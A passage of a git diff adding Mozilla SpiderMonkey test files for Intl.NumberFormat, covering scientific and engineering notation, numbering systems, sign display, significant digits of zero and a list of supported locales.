+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: 0.1, string: "100E-3", parts: [
+ Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ minimumFractionDigits: 4,
+ },
+ values: [
+ {value: 10, string: "10.0000E0", parts: [
+ Integer("10"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.1, string: "100.0000E-3", parts: [
+ Integer("100"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ minimumIntegerDigits: 4,
+ },
+ values: [
+ {value: 10, string: "0,010E0", parts: [
+ Integer("0"), Group(","), Integer("010"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.1, string: "0,100E-3", parts: [
+ Integer("0"), Group(","), Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ minimumSignificantDigits: 4,
+ },
+ values: [
+ {value: 10, string: "10.00E0", parts: [
+ Integer("10"), Decimal("."), Fraction("00"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.1, string: "100.0E-3", parts: [
+ Integer("100"), Decimal("."), Fraction("0"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ maximumSignificantDigits: 1,
+ },
+ values: [
+ {value: 12, string: "10E0", parts: [
+ Integer("10"), ExponentSeparator("E"), ExponentInteger("0")
+ ]},
+ {value: 0.12, string: "100E-3", parts: [
+ Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")
+ ]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-scientific.js b/js/src/tests/non262/Intl/NumberFormat/notation-scientific.js
new file mode 100644
index 0000000000..f14a660129
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-scientific.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group,
+ ExponentSeparator, ExponentInteger, ExponentMinusSign,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ },
+ values: [
+ {value: +0, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: -0, string: "-0E0", parts: [MinusSign("-"), Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 0n, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+
+ {value: 1, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10, string: "1E1", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("1")]},
+ {value: 100, string: "1E2", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("2")]},
+ {value: 1000, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000, string: "1E4", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("4")]},
+ {value: 100000, string: "1E5", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("5")]},
+ {value: 1000000, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 1n, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10n, string: "1E1", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("1")]},
+ {value: 100n, string: "1E2", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("2")]},
+ {value: 1000n, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000n, string: "1E4", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("4")]},
+ {value: 100000n, string: "1E5", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("5")]},
+ {value: 1000000n, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 0.1, string: "1E-1", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")]},
+ {value: 0.01, string: "1E-2", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("2")]},
+ {value: 0.001, string: "1E-3", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.0001, string: "1E-4", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("4")]},
+ {value: 0.00001, string: "1E-5", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("5")]},
+ {value: 0.000001, string: "1E-6", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.0000001, string: "1E-7", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("7")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Exponent modifications take place early, so while in the "standard" notation
+ // `Intl.NumberFormat("en", {maximumFractionDigits: 0}).format(0.1)` returns "0", for
+ // "scientific" notation the result string is not "0", but instead "1E-1".
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: 0.1, string: "1E-1", parts: [
+ Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ minimumFractionDigits: 4,
+ },
+ values: [
+ {value: 10, string: "1.0000E1", parts: [
+ Integer("1"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.1, string: "1.0000E-1", parts: [
+ Integer("1"), Decimal("."), Fraction("0000"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ minimumIntegerDigits: 4,
+ },
+ values: [
+ {value: 10, string: "0,001E1", parts: [
+ Integer("0"), Group(","), Integer("001"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.1, string: "0,001E-1", parts: [
+ Integer("0"), Group(","), Integer("001"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ minimumSignificantDigits: 4,
+ },
+ values: [
+ {value: 10, string: "1.000E1", parts: [
+ Integer("1"), Decimal("."), Fraction("000"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.1, string: "1.000E-1", parts: [
+ Integer("1"), Decimal("."), Fraction("000"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+
+ {
+ locale: "en",
+ options: {
+ notation: "scientific",
+ maximumSignificantDigits: 1,
+ },
+ values: [
+ {value: 12, string: "1E1", parts: [
+ Integer("1"), ExponentSeparator("E"), ExponentInteger("1")
+ ]},
+ {value: 0.12, string: "1E-1", parts: [
+ Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("1")
+ ]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js
new file mode 100644
index 0000000000..c0b9ba78ed
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js
@@ -0,0 +1,18 @@
+for (let [numberingSystem, {digits, algorithmic}] of Object.entries(numberingSystems)) {
+ if (algorithmic) {
+ // We don't yet support algorithmic numbering systems.
+ continue;
+ }
+
+ let nf = new Intl.NumberFormat("en", {numberingSystem});
+
+ assertEq([...digits].length, 10, "expect exactly ten digits for each numbering system");
+
+ let i = 0;
+ for (let digit of digits) {
+ assertEq(nf.format(i++), digit);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js
new file mode 100644
index 0000000000..4624ee5192
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js
@@ -0,0 +1,60 @@
+const defaultLocale = "en";
+const defaultNumberingSystem = new Intl.NumberFormat(defaultLocale).resolvedOptions().numberingSystem;
+
+function createWithLocale(locale, numberingSystem) {
+ return new Intl.NumberFormat(locale, {numberingSystem});
+}
+
+function create(numberingSystem) {
+ return createWithLocale(defaultLocale, numberingSystem);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("latn\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("latn-toolongstring"), RangeError);
+
+// |numberingSystem| can be set to |undefined|.
+let nf = create(undefined);
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Unsupported numbering systems are ignored.
+nf = create("xxxxxxxx");
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Numbering system in options overwrite Unicode extension keyword.
+nf = createWithLocale(`${defaultLocale}-u-nu-thai`, "arab");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+// |numberingSystem| option ignores case.
+nf = create("ARAB");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+for (let [numberingSystem, {algorithmic}] of Object.entries(numberingSystems)) {
+ let nf1 = new Intl.NumberFormat(`${defaultLocale}-u-nu-${numberingSystem}`);
+ let nf2 = new Intl.NumberFormat(defaultLocale, {numberingSystem});
+
+ if (!algorithmic) {
+ assertEq(nf1.resolvedOptions().numberingSystem, numberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, numberingSystem);
+ } else {
+ // We don't yet support algorithmic numbering systems.
+ assertEq(nf1.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ assertEq(nf2.resolvedOptions().numberingSystem, defaultNumberingSystem);
+ }
+
+ assertEq(nf2.format(0), nf1.format(0));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js b/js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js
new file mode 100644
index 0000000000..ddb2d61350
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// createIsHTMLDDA is only available when running tests in the shell,
+// not the browser
+if (typeof createIsHTMLDDA === "function") {
+ let nf = new Intl.NumberFormat('en-US', createIsHTMLDDA());
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js b/js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js
new file mode 100644
index 0000000000..87cfc317cb
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locale processing is supposed to internally remove any Unicode extension
+// sequences in the locale. Test that various weird testcases invoking
+// algorithmic edge cases don't assert or throw exceptions.
+
+var weirdCases =
+ [
+ "en-x-u-foo",
+ "en-a-bar-x-u-foo",
+ "en-x-u-foo-a-bar",
+ "en-a-bar-u-baz-x-u-foo",
+ ];
+
+for (var locale of weirdCases)
+ Intl.NumberFormat(locale).format(5);
+
+assertThrowsInstanceOf(() => Intl.NumberFormat("x-u-foo"), RangeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/shell.js b/js/src/tests/non262/Intl/NumberFormat/shell.js
new file mode 100644
index 0000000000..da786bbcc2
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/shell.js
@@ -0,0 +1,48 @@
+function GenericPartCreator(type) {
+ return str => ({ type, value: str });
+}
+
+const NumberFormatParts = {
+ Nan: GenericPartCreator("nan"),
+ Inf: GenericPartCreator("infinity"),
+ Integer: GenericPartCreator("integer"),
+ Group: GenericPartCreator("group"),
+ Decimal: GenericPartCreator("decimal"),
+ Fraction: GenericPartCreator("fraction"),
+ MinusSign: GenericPartCreator("minusSign"),
+ PlusSign: GenericPartCreator("plusSign"),
+ PercentSign: GenericPartCreator("percentSign"),
+ Currency: GenericPartCreator("currency"),
+ Literal: GenericPartCreator("literal"),
+ ExponentSeparator: GenericPartCreator("exponentSeparator"),
+ ExponentMinusSign: GenericPartCreator("exponentMinusSign"),
+ ExponentInteger: GenericPartCreator("exponentInteger"),
+ Compact: GenericPartCreator("compact"),
+ Unit: GenericPartCreator("unit"),
+};
+
+function assertParts(nf, x, expected) {
+ var parts = nf.formatToParts(x);
+ assertEq(parts.map(part => part.value).join(""), nf.format(x),
+ "formatToParts and format must agree");
+
+ var len = parts.length;
+ assertEq(len, expected.length, "parts count mismatch");
+ for (var i = 0; i < len; i++) {
+ assertEq(parts[i].type, expected[i].type, "type mismatch at " + i);
+ assertEq(parts[i].value, expected[i].value, "value mismatch at " + i);
+ }
+}
+
+function runNumberFormattingTestcases(testcases) {
+ for (let {locale, options, values} of testcases) {
+ let nf = new Intl.NumberFormat(locale, options);
+
+ for (let {value, string, parts} of values) {
+ assertEq(nf.format(value), string,
+ `locale=${locale}, options=${JSON.stringify(options)}, value=${value}`);
+
+ assertParts(nf, value, parts);
+ }
+ }
+}
diff --git a/js/src/tests/non262/Intl/NumberFormat/sign-display.js b/js/src/tests/non262/Intl/NumberFormat/sign-display.js
new file mode 100644
index 0000000000..b18517d847
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/sign-display.js
@@ -0,0 +1,187 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction
+} = NumberFormatParts;
+
+const testcases = [
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "auto",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: -1, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: -1n, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "-0.1", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "0.9", parts: [Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "-0.9", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "never",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "0", parts: [Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: -1, string: "1", parts: [Integer("1")]},
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: -1n, string: "1", parts: [Integer("1")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "0.9", parts: [Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "0.9", parts: [Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "∞", parts: [Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "always",
+ },
+ values: [
+ {value: +0, string: "+0", parts: [PlusSign("+"), Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "+0", parts: [PlusSign("+"), Integer("0")]},
+
+ {value: 1, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+ {value: 1n, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1n, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+
+ {value: 0.1, string: "+0.1", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "-0.1", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "+0.9", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "-0.9", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "+∞", parts: [PlusSign("+"), Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "+NaN", parts: [PlusSign("+"), Nan("NaN")]},
+ {value: -NaN, string: "+NaN", parts: [PlusSign("+"), Nan("NaN")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "exceptZero",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "0", parts: [Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+ {value: 1n, string: "+1", parts: [PlusSign("+"), Integer("1")]},
+ {value: -1n, string: "-1", parts: [MinusSign("-"), Integer("1")]},
+
+ {value: 0.1, string: "+0.1", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("1")]},
+ {value: -0.1, string: "-0.1", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("1")]},
+
+ {value: 0.9, string: "+0.9", parts: [PlusSign("+"), Integer("0"), Decimal("."), Fraction("9")]},
+ {value: -0.9, string: "-0.9", parts: [MinusSign("-"), Integer("0"), Decimal("."), Fraction("9")]},
+
+ {value: Infinity, string: "+∞", parts: [PlusSign("+"), Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Tests with suppressed fractional digits.
+
+ // "auto": Show the sign on negative numbers only.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "auto",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "0", parts: [Integer("0")]},
+ {value: -0.1, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ ],
+ },
+
+ // "never": Show the sign on neither positive nor negative numbers.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "never",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "0", parts: [Integer("0")]},
+ {value: -0.1, string: "0", parts: [Integer("0")]},
+ ],
+ },
+
+ // "always": Show the sign on positive and negative numbers including zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "always",
+ maximumFractionDigits: 0,
+ },
+ values: [
+ {value: +0.1, string: "+0", parts: [PlusSign("+"), Integer("0")]},
+ {value: -0.1, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ ],
+ },
+
+ // "exceptZero": Show the sign on positive and negative numbers but not zero.
+ {
+ locale: "en",
+ options: {
+ signDisplay: "exceptZero",
+ maximumFractionDigits: 0,
+ },
+
+ values: [
+ {value: +0.1, string: "0", parts: [Integer("0")]},
+ {value: -0.1, string: "0", parts: [Integer("0")]},
+ ],
+ }
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js b/js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js
new file mode 100644
index 0000000000..c569313266
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// -- test that NumberFormat correctly formats 0 with various numbers of significant digits
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var testData = [
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 1, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 2, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 3, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 4, expected: "0"},
+ {minimumSignificantDigits: 1, maximumSignificantDigits: 5, expected: "0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 2, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 3, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 4, expected: "0.0"},
+ {minimumSignificantDigits: 2, maximumSignificantDigits: 5, expected: "0.0"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 3, expected: "0.00"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 4, expected: "0.00"},
+ {minimumSignificantDigits: 3, maximumSignificantDigits: 5, expected: "0.00"},
+];
+
+for (var i = 0; i < testData.length; i++) {
+ var min = testData[i].minimumSignificantDigits;
+ var max = testData[i].maximumSignificantDigits;
+ var options = {minimumSignificantDigits: min, maximumSignificantDigits: max};
+ var format = new Intl.NumberFormat("en-US", options);
+ var actual = format.format(0);
+ var expected = testData[i].expected;
+ assertEq(actual, expected,
+ "Wrong formatted string for 0 with " +
+ "minimumSignificantDigits " + min +
+ ", maximumSignificantDigits " + max +
+ ": expected \"" + expected +
+ "\", actual \"" + actual + "\"");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js b/js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js
new file mode 100644
index 0000000000..5ba4470a98
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js
@@ -0,0 +1,371 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// number formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
